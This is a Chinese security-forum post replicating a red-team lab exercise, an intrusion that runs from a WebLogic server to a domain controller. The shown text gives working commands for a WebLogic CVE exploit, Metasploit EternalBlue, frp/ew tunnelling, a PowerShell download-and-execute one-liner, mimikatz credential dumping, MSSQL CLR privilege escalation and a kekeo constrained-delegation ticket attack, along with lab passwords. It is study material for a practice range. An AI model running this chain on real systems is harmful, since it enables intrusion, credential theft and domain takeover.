安全矩阵

 找回密码
 立即注册
搜索
查看: 2144|回复: 0

从外网 Weblogic 打进内网,再到约束委派接管域控(复现)

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-12-1 21:00:17 | 显示全部楼层 |阅读模式

从外网 Weblogic 打进内网,再到约束委派接管域控(复现)
靶场官方:渗透攻击红队(微信公众号)
从外网 Weblogic 打进内网,再到约束委派接管域控

0x01 靶场配置攻击机1:win10 192.168.0.193
攻击机2:kali 192.168.0.105
靶机: 192.168.0.154 weblogic服务器,其他在域内

测试:xray扫一下weblogic 有CVE_2020_2551直接一把梭,有admin账户且出网






query process查看当前进程


可以看到是无AV的,都不需要做免杀
直接Powershell 上线到 CobaltStrike:
cs-attack-payload Generator -powshell command生成命令shell
放入利用工具里执行
好奇怪 我本机都可以上线,但是发现weblogic服务器就是上不了线,开http上传beacon.exe并运行也不能上线
后来发现ping不了我的kali(cs服务器),原来设置到第一层网络去了
得把kali的桥接模式设成物理机


ok 成功上线


看到改机器有两个网卡
hashdump下来


既然有第二个网卡,进行域内信息手机
凸(艹皿艹 ),扫半天没扫出来,才发现我pc靶机没打开(用巨龙拉冬9.0多口探测)


扫到了这个
巨龙拉冬扫一下龙洞


ms17-010
端口转发>cs派生给msf
利用cs自带开个SOCKS端口

然后msf连接
setg Proxies socks4:192.168.0.105:7000

attack
msf6 > setg ReverseAllowProxy true​msf6 > use exploit/windows/smb/ms17_010_eternalblue​msf6 > set payload windows/x64/meterpreter/bind_tcp​msf6 > set rhost 10.10.20.7​msf6 > run​​打不进去,是因为cs自带的socks的不稳定性
直接用cs创建msf监听器试一下,然后msf打开监听即可
use exploit/multi/handler​set payload windows/meterpreter/reverse_http​set lhoat 192.168.0.105​set lport 1234​file://C:/Users/e%27e%27t/AppData/Roaming/Typora/typora-user-images/image-20211111114236102.png?lastModify=1638363238

这里又产生了个误区,这样的派生结果还是进入了10.10.20.12的meterpreter,好家伙之前学的那些ew啥的考自己搭的环境去学都没能真正学到知识,还得是实战配合工具才能学到知识
用frp建立一个 socks5 隧道试试
kali配置文件 frps.ini,然后运行:




之后来到目标跳板机器运行 frpc:
当然是先上个shell上传frp文件
放temp文件夹是因为一般都是temp文件夹的权限比较高,当然我们现在是administrator
当然这里我用的是cs的frp插件



这个插件用起来看不懂咋用,应该是将frpc.ini传到指定文件夹,下面这个框写下这个目录就行


不过我直接将这个插件里面文件夹的exe直接传过去配合之前传的frpc.ini然后
shell frpc.exe -c frpc.ini



省的麻烦

建立好 socks5 隧道后 Metasploit 对其利用拿到 Meterpreter 会话:msf6 > setg Proxies socks5:192.168.0.105:7777msf6 > setg ReverseAllowProxy truemsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 > set payload windows/x64/meterpreter/bind_tcpmsf6 > set rhost 10.10.20.7msf6 > run



ok


通过调用 mimikatz 成功抓到其域用户的密码
load mimikatz
creds_all




解一下hash
Username  Domain   Passwordsaul      REDTEAM  admin!@#45中转上线到 CobaltStrike 进行二层内网域渗透 有几种方法
1.meterpreter配置端口外带到cs,方法地址如下,不行 进的使meterpreter
http://www.caiyuhuan.com/index.php/article/lian_fengdingbin_/132.html
2.设置中转(反向代理)
因为此 Win7 不出网,随后只能通过 CobaltStrike 设置中转:
这里换了kali:192.168.0.124
操作:









然后用这个监听器生成一个exe程序,然后用meterpreter的upload上传到10.10.20.7
然后在用meterpreter调用cmd运行它
upload /var/tmp/FrpProPlugin-mainfrp0.33可转发至cs/beacon.exe C:\\windows\\system32\

execute -f C:\\windows\\system32\beacon.exe或cs创建powershell.ps
直接merterpreter执行cmd执行powershell
execute怎么样都上不了线,本地把载荷也传过去,也上不了线

其他方法
电脑带不动了:一周学习新思路小插曲:1.chcp 65001后可以使meterpreter摆脱cmd乱码执行cmd命令 no2.meterpreter先stuid提权在执行命令试试  no3.试试那个wblogic靶场可不可以放个c2.exe到10.10.20.7 看下能不能上线4.看看10.10.20.7能不能出网,能出网的话直接反向连接到cs服务器5.或者直接跳过这个上线阶段,通过meterpreter进行域渗透6.https://mp.weixin.qq.com/s?__biz ... 231d972b990ef9#rdcs配合msf的别的方法(利用meterpreter)7.在上传frp把它代理出来8.将cs载荷带进内网ok 内存条换了,继续
1方法和2方法是我直接再10.10.20.7放中转后的payload并运行都不能上线,所以这些也没用
3方法因为c2对二层网络没用,所以这不算是方法
4方法因为目标不能出网,所以不行
5方法暂时不管
这里用6试试
因为拿到了,meterpreter,试试创建钓鱼站点并使靶机运行poweshell连接上线
这里在CS中利用Attacks-> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:


主机地址和端口就是钓鱼站点,因为我们看了内网中转监听,把主机地址 和监听器都换成
10.10.20.12试试


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.20.12:80/a'))"

不行
后来用靶机ping一下10.10.20.12发现ping不通= =


但是我们msf用10.10.20.12可以打进10.10.20.7,但是10.10.20.7ping不通10.10.20.12
这个应该使防火墙设置原因,和其它无关


可以看到两个权限不一样
meterpreter运行cd c:\users\saul\desktop
dir
beacon.exe试一下


看下cs还是不能上线

7.frp代理


好的 还是不行。原来是没有搭建域环境,累了
先整其他的靶场吧
好了 其他靶场整完额,先改一下这些虚拟机的dns和ip
第一层192.168.0
第二层10.10.20
第三层10.10.10
10.10.20.7 ping不了10.10.20.12是因为10.10.20.12网络发现没有打开
现在kaliip为192.168.0.124
好 先把之前做过的再做一遍????


果然是网络配置的问题(weblogic服务器主机配置了“关闭网络发现”)



为什么启动不了网络发现
有意思的是一开始我关闭网络发现后全是10.10.20.7ping不了10.10.20.12
后来我启用网络发现后直接关闭这个窗口了 然后去10.10.20.7那台主机
发现可以ping10.10.20.12,但是当我再次打开这个窗口时发现此时是“关闭网络发现”
但是两者都是可以互相ping通的,我也不知道啥原因
1.按下WIN+R,然后输入services.msc 回车
2、然后检查以下几个服务,看是否为启动状态;
  Function Discovery Resource Publication
  SSDP Discovery
  UPnP Device Host




这样就可以
那么上述步骤怎么用指令来操作呢
这就需要逐步cmd或者powshell指令操作了
但是目前只找到了可以cmd直接打开services.msc,但是你用cs执行这个命令的话是回显不出来的,但是人家电脑上看的到???? 把这个列为未来计划 后来加以补充
后面找到了还有这些方法
方法二:
reg add 将新的子项或项添加到注册表中
  语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]
这种命令叫DOS命令
参数​  KeyName​  指定子项的完全路径。对于远程计算机,请在\\ComputerName\PathToSubkey中的子项路径前包含计算机名称。忽略ComputerName会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为HKLM、HKCU、HKCR、HKU以及HKCC。​  /v EntryName​  删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。​  /ve​  指定只可以删除为空值的项。​  /va​  删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。​  /f​  无需请求确认而删除现有的注册表子项或项。​  /?​  在命令提示符显示帮助。
cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f(任务栏里的任务管理器为灰色)​  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f(删除MSConfig启动里的未勾选项目)​  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe" /f(删除CTFMON的镜像劫持)​  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v IconStreams /f​  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v PastIconsStream /f(删除通知区域的历史记录)而注册表和服务在(权限维持)后门持久化中也占有重要作用:开代理和挂载荷啥的
参考:https://www.baidu.com/link?url=Zemob89xtz4ZFM1uQG4ftTrPUbN_Lb9NpehE3Gr-s9iDDblEz9T-SOM1d0CqE3ejmpsfMv4t09FWnxsYMsGOGaN53ZD8ACzPOAvSbv0LaUe&wd=&eqid=e34484b600034bfd0000000661a72954
Reg命令使用详解 批处理操作注册表必备 - 园封记忆 - 博客园

这里又不得不提到一个后门持久化的图形化工具了
,当然也可以直接使用reg命令打开(说实话reg命令不太好搞,因为不知道各个指令的详细操作(对应工具的部位命令),后面会做一次专题)。不过其实也不需要用到图形化工具,reg里面可以直接用,重要的还是要使用命令启用reg
就是说,我都能启用图形化工具了,那我直接去regit里面创建服务不就行了。还不用下载工具
不过工具多的是稳定性(怕你不会配置啥的)????
有个工具nnsm 可以看这个
【红蓝对抗】内网代理转发

怎样启动网络发现(用指令)
那实战中遇到这种情况有什么方法吗?
首先要把防火墙关掉是肯定的
win7(其他版本还没试过,不过应该都行)有下面几个个方法

           
  •         新建一个记事本文件,在里面输入内容:
            @echo off:Win7网络发现依赖的服务:nscache        DNS Client:SSDPSRV        SSDP DiscoverylugPlay        Plug and Play:FDResPub        Function Discovery Resource Publication 功能发现资源发布sc query SSDPSRV|findstr /i "SSDPSRV state"sc query Dnscache|findstr /i "Dnscache state"sc query PlugPlay|findstr /i "lugPlay state"sc query FDResPub|findstr /i "FDResPub state"sc config SSDPSRV start= AUTOsc config Dnscache start= AUTOsc config PlugPlay start= AUTOsc config FDResPub start= AUTOsc start SSDPSRVsc start Dnscachesc start PlugPlaysc start FDResPub        然后保存为TurnOnNetworkDiscovey.bat。
            双击运行TurnOnNetworkDiscovey.bat



继续继续


先提权
再shell net user /domain看下域用户


net group "Domain Controllers" /domian 定位到域控 DC IP 为:10.10.10.8

拿DC、
首先当前进程是没有域管的,所以暂且放弃令牌窃取:
file://C:/Users/e%27e%27t/Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211201165829111.png?lastModify=1638363238正在上传…[url=]重新上传[/url][url=]取消[/url]file://C:/Users/e%27e%27t/Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211201165829111.png?lastModify=1638363238
传个Adfind上去
AdFind 一款C++编写的域内查询信息的工具 shell AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密。
传个fscan上去扫一下
shell fscan.exe -np -h 10.10.10.0/24

发现 sqlserver 这台机器开放了 80、1433(mssql):
ew配合sock64加代理一下railgun对sql进行爆破


这次代理就有难度了
因为10.10.10.18是在第三层
而win主机在第一层,ping不到第三层。
刚好ew是适合三层代理的
先分析一下局势
win是192.168
第二层是(192.168.0.154)10.10.20.12 (10.10.20.7)10.10.10.7
第三层代理地址 10.10.10.7 目标10.10.10.18
kali执行
./ew_for_Linux32 -s lcx_listen -l  1080   -e 102410.10.20.12执行
ew_for_Win.exe -s ssocksd    -l 999910.10.10.7执行
ew_for_Win.exe -s lcx_slave  -d 192.168.0.124 -e 1024 -f 10.10.20.12 -g 9999

无法连接 哪里出了问题?




这两个都开着 但是没连上
换一个 将weblogic的命令改为
ew_for_Win.exe -s lcx_tran   -l  1080   -f 10.10.20.12 -g 9999不管了 那就直接开3389

多重开启 (10.10.20.7和10.10.20.12 都开)
file://C:/Users/e%27e%27t/Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211201194617548.png?lastModify=1638363238正在上传…[url=]重新上传[/url][url=]取消[/url]file://C:/Users/e%27e%27t/Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211201194617548.png?lastModify=1638363238


ok
目标是 iis,那么想办法找到 iis 到目录写个一句话吧。
一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在:
存在是存在 但是不能写文件
使用 SharpSQLTools 开启目标 clr:
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

然后启用并调用命令:
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clrSharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami这下子就是一个系统权限了!
随后添加了一个管理员:
但还是不能写一句话
还是用 MSF 把:
exploit/windows/mssql/mssql_clr_payload


然后找到了一个可读可写目录上传 exe 成功,然后中转再上线到 CobaltStrike:






成功上线
提个权


mimikatz抓一下密码


user : redteam\sqlserverpass : Server12345之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过
约束委派攻击来接管域控。1.利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
2.然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"3.使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 23:27 , Processed in 0.024946 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表